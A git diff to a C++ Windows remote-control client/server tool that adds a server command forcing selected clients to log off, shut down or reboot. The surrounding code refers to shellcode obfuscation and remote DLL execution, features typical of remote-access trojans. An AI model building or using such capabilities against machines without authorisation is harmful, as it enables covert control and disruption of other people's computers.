diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 1d75e38..10baf22 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -365,6 +365,34 @@ BOOL IsRunningAsAdmin() return isAdmin; } +bool EnableShutdownPrivilege() { + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + + // 打开当前进程的令牌 + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + return false; + } + + // 获取关机权限的 LUID + if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) { + CloseHandle(hToken); + return false; + } + + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + // 启用关机权限 + if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) { + CloseHandle(hToken); + return false; + } + + CloseHandle(hToken); + return true; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -377,6 +405,29 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { + case TOKEN_MACHINE_MANAGE: + if (ulLength <= 1 || !EnableShutdownPrivilege()) break; +#ifdef _DEBUG + Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]); + break; +#endif + switch (szBuffer[1]) + { + case MACHINE_LOGOUT: { + ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0); + break; + } + case MACHINE_SHUTDOWN: { + ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0); + break; + } + case MACHINE_REBOOT: { + ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); + break; + } + default: + break; + } case CMD_RUNASADMIN: { char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); diff --git a/common/commands.h b/common/commands.h index 18260e6..734f16f 100644 --- a/common/commands.h +++ b/common/commands.h @@ -191,6 +191,7 @@ enum { TOKEN_CHAT_START = 62, // Զ̸̽ TOKEN_UNINSTALL = 63, // ж TOKEN_PRIVATESCREEN = 64, // ˽Ļ + TOKEN_MACHINE_MANAGE = 65, // // ˷ıʶ TOKEN_AUTH = 100, // Ҫ֤ @@ -264,6 +265,12 @@ enum { CMD_EXECUTE_DLL = 240, // ִд }; +enum MachineCommand { + MACHINE_LOGOUT, + MACHINE_SHUTDOWN, + MACHINE_REBOOT, +}; + enum ProxyManager { TOKEN_PROXY_CONNECT_RESULT, TOKEN_PROXY_BIND_RESULT, diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index fcba139..67b6a03 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a256a80..675488a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -50,6 +50,7 @@ #define UM_ICONNOTIFY WM_USER+100 #define TIMER_CHECK 1 #define TIMER_CLOSEWND 2 +#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION); typedef struct { const char* szTitle; //列表的名称 @@ -356,6 +357,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN); m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL); m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP); + m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -486,6 +488,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen) ON_NOTIFY(TCN_SELCHANGE, IDC_GROUP_TAB, &CMy2015RemoteDlg::OnSelchangeGroupTab) ON_COMMAND(ID_OBFS_SHELLCODE, &CMy2015RemoteDlg::OnObfsShellcode) + ON_COMMAND(ID_ONLINE_REGROUP, &CMy2015RemoteDlg::OnOnlineRegroup) + ON_COMMAND(ID_MACHINE_SHUTDOWN, &CMy2015RemoteDlg::OnMachineShutdown) + ON_COMMAND(ID_MACHINE_REBOOT, &CMy2015RemoteDlg::OnMachineReboot) + ON_COMMAND(ID_EXECUTE_DOWNLOAD, &CMy2015RemoteDlg::OnExecuteDownload) + ON_COMMAND(ID_EXECUTE_UPLOAD, &CMy2015RemoteDlg::OnExecuteUpload) + ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout) END_MESSAGE_MAP() @@ -1477,6 +1485,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]); Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]); Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]); + Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]); std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash || m_superPass.empty()) { @@ -3369,3 +3378,53 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } + + +void CMy2015RemoteDlg::OnOnlineRegroup() +{ + TODO_NOTICE; +} + + +void CMy2015RemoteDlg::MachineManage(MachineCommand type) { + if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); + BYTE token[32] = { TOKEN_MACHINE_MANAGE, type }; + ContextObject->Send2Client(token, sizeof(token)); + } + LeaveCriticalSection(&m_cs); + } +} + +void CMy2015RemoteDlg::OnMachineLogout() +{ + MachineManage(MACHINE_LOGOUT); +} + + +void CMy2015RemoteDlg::OnMachineShutdown() +{ + MachineManage(MACHINE_SHUTDOWN); +} + + +void CMy2015RemoteDlg::OnMachineReboot() +{ + MachineManage(MACHINE_REBOOT); +} + + +void CMy2015RemoteDlg::OnExecuteDownload() +{ + TODO_NOTICE; +} + + +void CMy2015RemoteDlg::OnExecuteUpload() +{ + TODO_NOTICE; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 28cc2a4..4c2bed9 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -228,7 +228,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[17]; + CBitmap m_bmOnline[18]; uint64_t m_superID; enum { STATUS_UNKNOWN = -1, @@ -323,4 +323,11 @@ public: CTabCtrl m_GroupTab; afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnObfsShellcode(); + afx_msg void OnOnlineRegroup(); + afx_msg void OnMachineShutdown(); + afx_msg void OnMachineReboot(); + afx_msg void OnExecuteDownload(); + afx_msg void OnExecuteUpload(); + afx_msg void OnMachineLogout(); + void MachineManage(MachineCommand type); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 39d7540..ded396f 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -405,6 +405,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 243b89c..763b293 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -165,6 +165,7 @@ + diff --git a/server/2015Remote/res/Bitmap/EditGroup.bmp b/server/2015Remote/res/Bitmap/EditGroup.bmp new file mode 100644 index 0000000..786c9cb Binary files /dev/null and b/server/2015Remote/res/Bitmap/EditGroup.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index c9fb71f..dc39aee 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ